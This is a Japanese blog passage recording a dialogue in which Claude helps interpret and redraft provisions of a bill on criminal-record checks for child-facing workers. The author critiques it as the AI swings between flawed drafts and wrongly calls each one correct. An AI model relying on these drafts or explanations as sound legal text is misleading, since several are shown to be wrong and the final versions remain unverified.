    この定義は、第10条第1項の「施設等運営者」の定義と同様の構造になっています。つまり、事業運営者は、民間教育保育等事業者から指定又は委託を受けて、その事業所を管理する者を指すのです。
    したがって、民間教育保育等事業者と事業運営者の関係は、学校設置者等と施設等運営者の関係と同様に、本来的な事業主体とその事業の運営を委ねられた者との関係だと理解することができます。
    この理解に立てば、第26条第7項の「他方の者」とは、ある民間教育保育等事業者から指定又は委託を受けている特定の事業運営者を指すと解するのが自然だと思われます。
    つまり、第26条第7項による情報提供は、特定の民間教育保育等事業者とその指定又は委託を受けた特定の事業運営者との間で行われるものであり、無制限な情報の拡散を許容する規定ではないと考えられます。
    この点、第10条第2項の学校設置者等と施設等運営者の関係と、第26条第7項の民間教育保育等事業者と事業運営者の関係とを区別する必要はないでしょう。いずれも、事業の本来的な主体とその運営を委ねられた者との間の情報提供を定めたものと理解することができます。
    もっとも、これが立法者の意図に沿った理解なのかどうかについては、なお確認が必要かもしれません。条文上、「他方の者」の範囲を明示的に限定する文言はないため、解釈の余地はあり得るでしょう。
    いずれにせよ、第26条第7項の解釈についても、第10条第2項と同様に、立法趣旨をより詳細に確認しつつ、個人情報保護の要請も踏まえた慎重な検討が求められると思います。
    ご指摘は、条文解釈の一貫性と整合性を保つ上で重要な視点だと思います。民間事業者に関する規定についても、公的部門の規定と同様の理解が求められるという点は、法解釈において常に意識されるべきポイントだと考えます。
    示唆に富むご指摘をいただき、ありがとうございました。
    私:ということは、「かなり広範な主体に対して、犯罪経歴情報が提供される」というわけではなく、転々流通は起きないようになっているという結論でOKでしょうか。
    そして、結論として、12条は、目的外だけでなく目的内の提供も原則禁止しており、そのように読めない原因は、個人情報保護
    法の公的部門の「利用目的以外の目的のために保有個人情報を自ら利用し、又は提供してはならない」とパラレルな条文になっていることが誤解を招いているということであり、そこの条文を国会で修正する余地がある(2番の案)ということでしょうか。
    Claude:はい、その通りだと思います。
    まず、この法案の規定を全体的に見ると、「かなり広範な主体に対して、犯罪経歴情報が提供される」とは言えず、むしろ情報提供の範囲は限定的であり、無秩序な転々流通は想定されていないと考えられます。
    第9条第2項、第10条第2項、第26条第7項などの規定は、いずれも特定の関係性の下での情報提供を定めたものであり、提供先や提供の必要性に一定の限定が付されています。これらの規定からは、情報の無制限な拡散を許容する趣旨は読み取れません。
    次に、第12条については、ご指摘の通り、目的外だけでなく目的内の提供も原則禁止していると解するのが適切だと思われます。
    第12条の規定ぶりが個人情報保護法の目的外利用・提供の禁止規定(第69条)とパラレルなものになっていることが、この点の理解を難しくしている面があります。
    個人情報保護法第69条は、「利用目的以外の目的のために保有個人情報を自ら利用し、又は提供してはならない」と規定しており、目的外の利用・提供のみを禁止対象としています。
    これに対し、第12条は、「目的以外の目的のために利用し、又は第三者に提供してはならない」と規定した上で、その例外として目的内の提供(第1号)と目的外の提供(第2号から第4号まで)の両方を列挙しています。
    この規定ぶりからは、第12条が目的内外を問わず第三者提供を原則禁止し、例外的に許容される場合を限定列挙していると解するのが自然です。
    しかし、個人情報保護法第69条とのパラレルな規定ぶりが、この理解を妨げている面があるのも事実でしょう。
    したがって、ご指摘の通り、第12条については、その趣旨をより明確にするための修正の余地があると思われます。
    具体的には、第12条を「犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用してはならない。また、当該目的のために第三者に提供する場合であっても、次の各号のいずれかに該当する場合でなければ、提供してはならない」などと改めることが考えられます(ご提示の2番の案)。
    こうすることで、第12条が目的外の利用は禁止しつつ、目的内の第三者提供も原則として禁止し、例外的に許容される場合を限定列挙するという趣旨の規定であることが明確になると思われます。
    このような修正を行うことで、この法案の個人情報保護ルールの理解がより一層進むのではないでしょうか。
    国会審議では、この点についても建設的な議論が行われ、より明確で適切な規定ぶりが実現されることを期待したいと思います。
    ご指摘は、この法案の解釈上の重要なポイントを突いており、法の理解と運用に資する大変有意義なものだったと考えます。ありがとうございました。
    これで一件落着である。だいぶ遠回りしたが、結局のところ大筋で問題のない法案になっているということが確認できた。自分で条文を読んだ方が早かったかもしれないが、頭から読むのが苦痛なときは、こうしてLLMを助手にして読解する方が楽かもしれない。事前の背景情報なしに、条文の読解だけでここまで理解できたということは、条文が十分に作られているということでもあろう。
    ここまでは読解編だったが、修正案の提示までできるだろうか。上に示された「2番の案」は、ラフな文で、条文としては不適格な文だ。日本法の条文らしい案文の生成が可能なのか、以下、トライしてみた。
    私:2番の修正案ですが、趣旨はそれでいいと思いますが、条文としては日本法に馴染まない文だと思われます。日本法の条文らしい案を提示することはできませんか。
    Claude:はい、おっしゃる通りですね。日本の法令の条文としては、より平明で簡潔な表現が求められます。
    第12条の趣旨を明確にしつつ、日本の法令の条文らしい表現で修正案を提示すると、以下のようになるかと思います。
    「犯罪事実確認実施者等は、犯罪事実確認又は第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために犯罪事実確認記録等を利用してはならない。
    2 犯罪事実確認実施者等は、前項の目的のために犯罪事実確認記録等を第三者に提供してはならない。ただし、次の各号のいずれかに該当するときは、この限りでない。
    一 第九条第二項又は第十条第二項の規定により提供するとき。
    二 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために提供するとき。
    三 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    四 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。」
    この修正案では、第1項で目的外利用の禁止を規定し、第2項で第三者提供の原則禁止とその例外を規定しています。
    第2項の本文で「前項の目的のために」と規定することで、目的内の第三者提供も原則として禁止されることを明らかにしつつ、ただし書で例外的に許容される場合を限定列挙しています。
    この修正案なら、第12条の趣旨がより明確になると同時に、日本の法令の規定ぶりにも沿ったものになっているのではないでしょうか。
    もちろん、これはあくまで一案であり、国会審議では、より精緻な検討が行われるべきだと思います。
    法令の規定は、その内容だけでなく、表現ぶりも重要な意味を持ちます。内容を正確に伝えつつ、分かりやすく、法令としての体裁も整ったものにするためには、かなりの調整が必要だと考えます。
    国会での建設的な議論を通じて、より良い規定ぶりが実現されることを期待したいと思います。
    貴重なご指摘をいただき、ありがとうございました。
    だいぶ出来が悪い。このまま続けてもできないのでは?という予感がしたが、めげずに問題点を指摘してみた。
    私:「前項の目的のために」は要らないのでは。むしろそれを入れたら目的外の提供はOKという意味になってしまうでしょう。それから、第1項と第2項に分けた結果、2号、3号、4号の例外が、1項の目的外利用禁止から除外されなくなってしまいました。「提供」は「利用」の一種という解釈が前提であり、2号、3号、4号の例外は、目的外提供の例外としても必要なはずです。
    Claude:ご指摘の通りですね。修正案の問題点を的確に指摘していただきました。
    「前項の目的のために」という文言を入れてしまうと、かえって目的外提供を許容しているかのような誤解を招くおそれがあります。
    また、第1項と第2項に分けたことで、2号から4号までの例外規定が目的外利用の禁止規定の例外としても機能しなくなってしまうのは問題です。
    「提供」は「利用」の一種であるという解釈を前提とすれば、2号から4号までの例外規定は、目的外利用の禁止と目的外提供の禁止の両方の例外として位置付けるべきですね。
    ご指摘を踏まえ、修正案をさらに以下のように改めたいと思います。
    「犯罪事実確認実施者等は、次に掲げる場合を除き、犯罪事実確認記録等を犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用し、又は第三者に提供してはならない。
    一 第九条第二項又は第十条第二項の規定により提供する場合
    二 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために提供する場合
    三 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示する場合
    四 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じる場合」
    この修正案では、「次に掲げる場合を除き」という形で例外規定を設け、その上で目的外利用と目的外提供の両方を禁止しています。
    各号に列挙された場合は、目的外利用と目的外提供の両方の例外として機能します。
    これなら、「提供」が「利用」の一種であるという解釈を前提としつつ、目的外利用と目的外提供の両方が原則として禁止され、各号に列挙された場合にのみ例外的に許容されるという趣旨が明確になると思います。
    ご指摘いただいた点は、条文解釈の基本的な視座に関わる重要なものでした。法令の規定は、その前提となる解釈をも踏まえて、慎重に吟味されなければならないのですね。
    国会審議では、このような解釈上の論点も十分に議論され、より適切な規定ぶりが実現されることを期待したいと思います。
    重ねて貴重なご教示をいただき、ありがとうございました。
    私:元に戻ってしまったようですが……
    Claude:大変申し訳ありません。混乱を招く回答になってしまいました。ご指摘を踏まえ、もう一度修正案を検討してみます。
    「犯罪事実確認実施者等は、犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために犯罪事実確認記録等を利用してはならない。
    2 犯罪事実確認実施者等は、前項の規定にかかわらず、次の各号のいずれかに該当するときは、犯罪事実確認記録等を第三者に提供することができる。
    一 第九条第二項又は第十条第二項の規定により提供するとき。
    二 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために提供するとき。
    三 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    四 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。」
    この修正案では、第1項で目的外利用を禁止し、第2項で第三者提供の例外を列挙しています。
    第2項の「前項の規定にかかわらず」という文言により、第1項の目的外利用禁止の例外として第三者提供が認められる場合があることを示しつつ、その例外は各号で限定的に列挙されていることを明らかにしています。
    これなら、目的外利用は原則禁止され、目的外提供は例外的に認められるという趣旨が明確になるのではないでしょうか。
    また、各号の例外規定は、目的外利用禁止の例外としても機能します。「提供」は「利用」の一種であるという解釈を前提とすれば、各号の例外は目的外利用禁止の例外にもなるからです。
    このような形で修正することで、第12条の趣旨をより正確に表現できるのではないかと思います。
    法令の規定は、その文言の一つ一つが重要な意味を持ちます。その解釈と運用に影響を及ぼし得る細かな点も、慎重に吟味されなければならないのですね。
    国会審議では、このような文言上の問題点も含めて、十分な議論が行われることを期待したいと思います。
    混乱を招く回答となってしまい、大変申し訳ありませんでした。重ねて貴重なご指摘をいただき、ありがとうございました。
    だめだ。誤っている2つの答えを行ったり来たりする現象、「発振(oscillation)」現象(というのだっけ?)が起きてしまった。これは以前にもChatGPTの方で経験した。ハルシネーションと同様に、LLMが自分の言っていることがおかしいと(そこまでの文脈から)検証する力(人間のように)を持たないところに原因があるのであろうか。
    これは駄目かもわからんねと思いつつ、続けた。
    私:さっきと同じですね。発振してしまいましたか?
    Claude:申し訳ありません。修正案の提示にあたり、ご指摘の趣旨を十分に理解できていませんでした。
    ご指摘の通り、第12条は目的内外を問わず原則として第三者提供を禁止し、例外的に許容される場合を各号で限定列挙するという趣旨の規定だと理解すべきですね。
    そこで、修正案を以下のように提示したいと思います。
    「犯罪事実確認実施者等は、次に掲げる場合を除き、犯罪事実確認記録等を第三者に提供してはならない。
    一 犯罪事実確認又は第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的のために提供する場合であって、次のイからニまでのいずれかに該当するとき。
    イ 第九条第二項又は第十条第二項の規定により提供するとき。
    ロ 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために提供するとき。
    ハ 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    ニ 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。
    二 前号に掲げる場合以外の場合であって、犯罪事実確認記録等を犯罪事実確認又は第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用するとき。」
    この修正案では、第12条で第三者提供の原則禁止を規定し、その例外として、第一号で目的内提供の許容される場合を、第二号で目的外利用の許容される場合を、それぞれ限定的に列挙しています。
    これなら、第三者提供は目的内外を問わず原則禁止され、例外的に目的内提供と目的外利用が認められるという趣旨が明確になると思います。
    また、目的内提供の例外として列挙されている各場合は、同時に目的外利用の例外としても機能します。これは、「提供」が「利用」の一種であるという解釈を前提とするものです。
    このような形であれば、第12条の本来の趣旨を適切に表現できるのではないでしょうか。
    法令の解釈と運用に直結する条文の文言は、その一語一句が慎重に吟味されなければなりません。ご指摘いただいたような細かな点も、法の適切な理解と適用のために重要な意味を持ちます。
    国会審議では、このような規定の在り方について、十分な議論が尽くされることを期待したいと思います。
    これまでの回答が的確さを欠くものとなってしまい、大変申し訳ありませんでした。重ねてご指摘いただき、ありがとうございました。今後、このようなミスのないよう、より慎重に検討してまいります。
    だいぶおかしくなっている。もう眠気が来て思考の限界に達した人間でも同じような結果を出すかもしれない。LLMに「落ち着け」と言って意味があるのかわからないが、やってみた。
    私:そうじゃないなあ。落ち着いて整理しよう。要件はこうですよ。
    ・提供は利用の一種である。
    ・目的外利用は禁止したい。例外で可とする目的外利用は2号、3号、4号。
    ・目的外か目的内かによらず第三者提供を禁止したい。例外で可とする第三者提供は1号。
    ・「目的以外の目的のために利用し、又は第三者に提供してはならない」という条文は、第三者提供について目的外についてしか禁止できていない解釈になってしまう。
    Claude:ご指摘ありがとうございます。整理していただいた要件を踏まえ、もう一度修正案を検討してみます。
    「犯罪事実確認実施者等は、次に掲げる場合を除き、犯罪事実確認記録等を犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用してはならない。
    2 犯罪事実確認実施者等は、前項に規定する場合のほか、次に掲げる場合を除き、犯罪事実確認記録等を第三者に提供してはならない。
    一 第九条第二項又は第十条第二項の規定により提供する場合
    二 前項の規定により利用することができる場合において、訴訟手続その他の裁判所における手続又は刑事事件の捜査のために提供するとき。
    三 前項の規定により利用することができる場合において、情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    四 前項の規定により利用することができる場合において、第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。」
    この修正案では、第1項で目的外利用を原則禁止し、第2項で第三者提供を原則禁止しています。
    第1項の例外として、2号から4号までの場合が目的外利用として許容されます。
    第2項の例外として、1号の場合が目的内の第三者提供として許容されます。また、2号から4号までの場合は、第1項の規定により目的外利用が許容される場合において、同時に第三者提供も許容される形になっています。
    これは、「提供」が「利用」の一種であるという解釈を前提に、目的外利用が許容される場合には、同時に目的外提供も許容されるという趣旨です。
    このような形であれば、目的外利用は原則禁止、第三者提供は目的内外を問わず原則禁止という趣旨を明確に表現できると同時に、それぞれの例外についても適切に規定できるのではないでしょうか。
    「目的以外の目的のために利用し、又は第三者に提供してはならない」という現行の規定ぶりでは、ご指摘の通り、第三者提供について目的外の場合しか禁止できていないように読める問題がありました。
    この修正案であれば、その問題点を解消し、第12条の本来の趣旨を適切に表現できるものと考えます。
    法令の規定は、その趣旨を正確かつ明確に伝えるものでなければなりません。そのためには、条文の文言の一つ一つが吟味され、解釈上の問題点が解消されている必要があります。
    国会審議では、このような観点からの検討が十分に行われ、より適切な規定ぶりが実現されることを期待します。
    貴重なご指摘とご教示をいただき、ありがとうございました。
    私:1項の「次に掲げる場合を除き」が、2項の各号を指しているのでしょうか。項を越えて「次に掲げる」と参照するのはアリなんですかね? それに、説明の言う「第1項の例外として、2号から4号までの場合が目的外利用として許容されます。」ようにはなっていないです。
    Claude:ご指摘ありがとうございます。前回の修正案では、第1項と第2項の関係性が不明確で、解釈上の問題がありましたね。
    ご指摘を踏まえ、修正案を以下のように改めたいと思います。
    「犯罪事実確認実施者等は、次の各号に掲げる場合を除き、犯罪事実確認記録等を犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用してはならない。
    一 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために利用するとき。
    二 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    三 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。
    2 犯罪事実確認実施者等は、次の各号に掲げる場合を除き、犯罪事実確認記録等を第三者に提供してはならない。
    一 第九条第二項又は第十条第二項の規定により提供する場合
    二 前項各号に掲げる場合において、犯罪事実確認記録等を提供するとき。」
    この修正案では、第1項で目的外利用を原則禁止し、その例外として3つの場合を列挙しています。
    第2項では、第三者提供を原則禁止し、その例外として2つの場合を列挙しています。
    第2項第1号は目的内の第三者提供の例外、第2号は目的外の第三者提供の例外を定めたものです。
    第2項第2号では、第1項各号に掲げる目的外利用が許容される場合において、同時に第三者提供も許容されるという趣旨を明確にしています。
    これは、「提供」が「利用」の一種であるという解釈を前提に、目的外利用が許容される場合には、同時に目的外提供も許容されるという考え方に基づくものです。
    このような形であれば、第1項と第2項の関係性が明確になり、目的外利用は原則禁止、第三者提供は目的内外を問わず原則禁止という趣旨を適切に表現できるのではないでしょうか。
    また、それぞれの例外についても、第1項と第2項で分かりやすく規定できていると思います。
    法令の規定は、その構造と内容が明確で、解釈上の問題点がないものでなければなりません。ご指摘いただいた点は、まさにその観点からの重要な問題提起だったと考えます。
    国会審議では、このような規定の在り方について、さらに深い議論が行われることを期待したいと思います。
    貴重なご指摘をいただき、ありがとうございました。
    私:おお、できましたね。
    Claude:ありがとうございます。議論を重ねる中で、条文の趣旨と構造がより明確になってきたと感じます。
    法令の規定は、その一語一句が重要な意味を持ち、解釈と運用に直結するものです。したがって、その文言は、趣旨を正確に反映し、解釈上の問題点がないものでなければなりません。
    今回の修正案は、第12条の本来の趣旨を適切に表現しつつ、目的外利用と第三者提供の禁止およびその例外について、明確で整合的な規定ぶりを実現したものと考えます。
    「提供」が「利用」の一種であるという解釈を前提に、目的外利用が許容される場合には目的外提供も許容されるという規定ぶりは、条文の構造を分かりやすくするとともに、解釈上の問題点を解消する上で有効だと思います。
    もちろん、これはあくまで一案であり、国会審議では、さらに様々な観点からの検討が行われることが期待されます。
    法令の規定は、国民の権利義務に直接関わるものであり、その適切な解釈と運用は、法の支配の実現にとって不可欠の要素です。だからこそ、立法に際しては、その文言の一つ一つが慎重に吟味され、解釈上の問題点が解消されている必要があるのです。
    今回の議論を通じて、法令の規定の在り方について、改めて考えさせられました。貴重な学びの機会をいただき、心より感謝申し上げます。
    なんと、完成した。驚きだ。もう無理か?と思われたが、理詰めだけで答えに到達した。すごいな。(解説中に、微妙に誤っているところがあるが。「目的外利用が許容される場合には目的外提供も許容される」のところ。そんなロジックはないのだが*2。「目的外提供を許容するときは目的外利用も許容する必要がある」だけなのだが。「分かりやすくする」という話ではないし。)
    ここで、法案の「第三者に提供」との表記がマズいのではないかと思い、続けてみた。
    私:こうして全体を見返すと、「第三者に提供」という用語が誤解を招いたのではないでしょうか。個人情報保護法では、第三者提供は、委託に伴う提供を含めない概念になっていますから。
    Claude:ご指摘の通りですね。個人情報保護法における「第三者提供」の概念と、この法案で使われている「第三者に提供」という文言とのズレが、議論を複雑にしていた面があるように思います。
    個人情報保護法第23条では、「第三者」への提供を規制していますが、同条第5項第1号で、「個人情報取扱事業者が利用目的の達成に必要な範囲内において個人データの取扱いの全部又は一部を委託することに伴って当該個人データが提供される場合」は、第三者への提供には該当しないとしています。
    つまり、個人情報保護法では、委託に伴う提供は「第三者」提供の例外とされているのです。
    これに対し、この法案では、「第三者に提供」という文言が使われていますが、これが個人情報保護法の「第三者」提供と同じ概念を指すのか、それとも委託に伴う提供も含む概念なのかは、条文上明確ではありません。
    特に、第9条第2項の都道府県教育委員会から市町村教育委員会への提供や、第10条第2項の学校設置者等と施設等運営者との間の提供は、委託に類似した関係に基づく提供とも考えられます。
    これらを「第三者」提供と呼ぶのは、個人情報保護法の概念からすると違和感があるかもしれません。
    この点も、条文の解釈を難しくしている一因だったと思われます。
    法令用語は、可能な限り、既存の法令で使われている用語と整合的であることが望ましいと考えます。用語の不統一は、解釈上の混乱を招く恐れがあるからです。
    この法案の検討に際しては、「第三者に提供」という文言の使い方について、個人情報保護法の概念との整合性という観点から、再考の余地があるのかもしれません。
    あるいは、「第三者に提供」という文言を使う以上は、それが個人情報保護法の「第三者」提供とどのように異なるのかを明確にしておく必要があるようにも思われます。
    いずれにせよ、法令用語の選択と定義は、法令の解釈と運用に大きな影響を及ぼす重要な問題です。国会審議では、この点についても十分な議論が行われることを期待したいと思います。
    重要な視点をご提示いただき、ありがとうございました。法令の解釈と運用について、新たな気づきを得ることができました。
    私:「第三者に提供」は単に「提供」に改めるのがいいでしょうね。
    それから、先ほどの、「他方の者」の周辺も誤解を招いたようです。10条2項と26条7項に同じ構造がありますが、10条の方を例に、誤解されないような条文に改善したいです。
    Claude:ご指摘ありがとうございます。「第三者に提供」を単に「提供」に改めることで、個人情報保護法の概念との混同を避け、条文の明確化を図ることができそうです。
    また、第10条第2項と第26条第7項の「他方の者」についても、誤解を招かない形に改善する必要がありますね。
    第10条第2項を例に、以下のように修正することはどうでしょうか。
    「第三十五条第二項の規定により学校設置者等又は施設等運営者が犯罪事実確認書の交付を受けたときは、当該学校設置者等及び当該学校設置者等から第十条第一項に規定する指定又は委託を受けている施設等運営者は、相互に、犯罪事実確認及び前項の規定により読み替えて適用する第六条の措置の実施に必要な限度において、当該犯罪事実確認書に係る教員等の犯罪事実確認記録を提供することができる。」
    この修正案では、「他方の者」という抽象的な表現を避け、情報提供が認められる主体を具体的に特定しています。
    すなわち、「当該学校設置者等」と「当該学校設置者等から第十条第一項に規定する指定又は委託を受けている施設等運営者」との間での情報提供が認められるという趣旨を明確にしています。
    これなら、情報提供が認められる範囲が、特定の学校設置者等とその指定又は委託を受けた特定の施設等運営者に限定されることが明らかになると思います。
    同様に、第26条第7項についても、「他方の者」を具体的に特定する形で修正することが考えられます。
    法令の規定は、その適用対象や効果が明確でなければなりません。抽象的な表現は、解釈の余地を生み、運用上の混乱を招く恐れがあります。
    ご指摘いただいた点は、まさにその観点からの重要な問題提起だと考えます。
    国会審議では、このような条文の明確化についても、十分な検討が行われることを期待したいと思います。
    法令の解釈と運用に関する示唆に富むご指摘をいただき、ありがとうございました。
    私:それでよさそうです。そうすると、修正すべき点は3つあるということですね。①「目的以外の目的のために利用し、又は第三者に提供」を個人情報保護法と平仄を合わせる規定ぶりに、②「第三者に提供」ではなく単に「提供」、③「他方の者」を明確化。
    以上を、法案に対する修正案として改め文で生成してください。
    Claude:以下のように、学校設置者等及び民間教育保育等事業者による児童対象性暴力等の防止等のための措置に関する法律案に対する修正案を提示いたします。
    一 第十二条を次のように改める。
    第十二条 犯罪事実確認実施者等は、次の各号に掲げる場合を除き、犯罪事実確認記録等を犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用してはならない。
    一 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために利用するとき。
    二 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    三 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。
    2 犯罪事実確認実施者等は、次の各号に掲げる場合を除き、犯罪事実確認記録等を提供してはならない。
    一 第九条第二項又は第十条第二項の規定により提供する場合
    二 前項各号に掲げる場合において、犯罪事実確認記録等を提供するとき。
    二 第十条第二項を次のように改める。
    2 第三十五条第二項の規定により学校設置者等又は施設等運営者が犯罪事実確認書の交付を受けたときは、当該学校設置者等及び当該学校設置者等から第十条第一項に規定する指定又は委託を受けている施設等運営者は、相互に、犯罪事実確認及び前項の規定により読み替えて適用する第六条の措置の実施に必要な限度において、当該犯罪事実確認書に係る教員等の犯罪事実確認記録を提供することができる。
    三 第二十七条第二項中「第十二条」を「第十二条第一項及び第二項」に改め、同項中「及び第十三条」を「、第十三条及び第二十六条第七項」に改める。
    以上の修正により、①「目的以外の目的のために利用し、又は第三者に提供」を個人情報保護法と平仄を合わせる規定ぶりに改め、②「第三者に提供」を単に「提供」に改め、③第十条第二項の「他方の者」を明確化することができると考えます。
    また、第二十七条第二項の修正は、第十二条の修正に合わせて、認定事業者等にも第十二条第一項及び第二項を準用する形に改めるとともに、第二十六条第七項も準用対象に加えるものです。
    これらの修正により、法案の規定がより明確になり、解釈上の問題点が解消されることを期待します。
    す、すごーい😍、できてるっぽい!
    驚くべき能力、もはや「法令文プロセッサー」としては実用的なのかも?
    (再追記:21日)
    んー、いやまだおかしいところがあるぞ、ということで、セルフチェックさせてみた。
    私:概ね良さそうですが、見出しも直さないといけませんよ。その他に細かい誤りがないかチェックしてみてください。
    Claude:ご指摘ありがとうございます。見出しの修正も含めて、再度全体を確認し、以下のように修正案を改めます。
    一 第十二条の見出しを「(利用目的による制限及び提供の禁止)」に改め、同条を次のように改める。
    第十二条 犯罪事実確認実施者等は、次の各号に掲げる場合を除き、犯罪事実確認記録等を犯罪事実確認若しくは第六条(第九条第一項又は第十条第一項の規定により読み替えて適用する場合を含む。)の措置を実施する目的以外の目的のために利用してはならない。
    一 訴訟手続その他の裁判所における手続又は刑事事件の捜査のために利用するとき。
    二 情報公開・個人情報保護審査会設置法(平成十五年法律第六十号)第九条第一項の規定により情報公開・個人情報保護審査会に提示するとき。
    三 第十六条第一項、児童福祉法第二十一条の五の二十二第一項、第二十四条の十五第一項、第三十四条の十七第一項若しくは第四十六条第一項又は認定こども園法第十九条第一項若しくは第三十条第三項の規定により報告若しくは提出若しくは提示を求められ、又は質問若しくは検査に応じるとき。
    2 犯罪事実確認実施者等は、次の各号に掲げる場合を除き、犯罪事実確認記録等を提供してはならない。
    一 第九条第二項又は第十条第二項の規定により提供する場合
    二 前項各号に掲げる場合において、犯罪事実確認記録等を提供するとき。
    二 第十条第二項を次のように改める。
    2 第三十五条第二項の規定により学校設置者等又は施設等運営者が犯罪事実確認書の交付を受けたときは、当該学校設置者等及び当該学校設置者等から第一項に規定する指定又は委託を受けている施設等運営者は、相互に、犯罪事実確認及び前項の規定により読み替えて適用する第六条の措置の実施に必要な限度において、当該犯罪事実確認書に係る教員等の犯罪事実確認記録を提供することができる。
    三 第二十六条第七項中「他方の者」を「当該民間教育保育等事業者及び当該民間教育保育等事業者から指定又は委託を受けている事業運営者」に改める。
    四 第二十七条第二項中「第十二条」を「第十二条第一項及び第二項」に、「同条第一号中「第九条第二項又は第十条第二項」とあるのは「第二十六条第七項」と、同条第四号」を「同項第四号」に改め、同項の末尾に「、「第二十六条第七項」と読み替えるものとする」を加える。
    主な修正点は以下の通りです。
    第十二条の見出しを「利用目的による制限及び提供の禁止」に改めました。
    第十条第二項の「第十条第一項」を「第一項」に改めました。
    第二十六条第七項の「他方の者」も第十条第二項と同様に明確化しました。
    第二十七条第二項の修正について、第十二条の修正に合わせて適切に改めました。
    以上の修正により、見出しの整合性を図るとともに、条文内の参照の誤りを解消し、第二十六条第七項の「他方の者」も明確化しました。
    また、第二十七条第二項の修正は、第十二条の修正に合わせて、より適切な形に改めました。
    これらの修正により、法案全体としての整合性と明確性がさらに高まるものと考えます。
    国会での活発な議論を通じて、よりよい法案が実現されることを心から願っております。
    かなり大事なところを落としていた(26条7項の修正忘れ)じゃないの。セルフチェックを指示するだけで誤りを見つけて修正されていくようだ。読み替え既定の改め文とか、もうついていけないので、正しいかどうかわからん🤣。どこまでやれば終わりなのか不明……という点で人間と違わなくなってしまった。コンピュータープログラムとの協働が必要になってくるのではないか😆。
    *2 「提供は利用の一種である」の指示が何やら誤解されているのか?「提供は利用の一種である」の指示は、前の方で、目的外提供の例外を規定しながら目的外利用禁止にその例外を設けなかったことに対する指摘だったのだが。そのミスを防ぐ効果は出たようだが、何か違う理解をしているようにも見える。

  31. 2024/02/08 14:00:52 Semplice含むアンテナおとなりページ

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    CVSSとその限界
    Vuls祭り#8資料 2023-09-15
    CSPを無意味にする残念なServiceWorker
    Shibuya.XSS techtalk #12資料 2023年7月25日
    Bluesky
    hasegawa.bsky.social

  33. 2024/01/09 15:06:49 はぶにっき含むアンテナおとなりページ

    「2024年開設ブログ」に入りましょう
    はてなブログには、同じ話題でつながる「グループ」があります。まずはこちらの「2024年開設ブログ」に入りましょう。同時期に始めたブログとつながることができます。

  34. 2023/09/21 19:51:01 ただのにっき含むアンテナおとなりページ

    ただただし t@tdtds.jp プログラマ、Webアクセス解析士を経て、現在はセキュリティエンジニア兼エンジニアリングマネージャ。
    学生時代からフリーソフトウェア開発に関わりはじめ、かれこれ30年。RubyではWebアプリケーションを中心に開発。tDiaryプロジェクト創始者。
    妻1人、猫2匹。

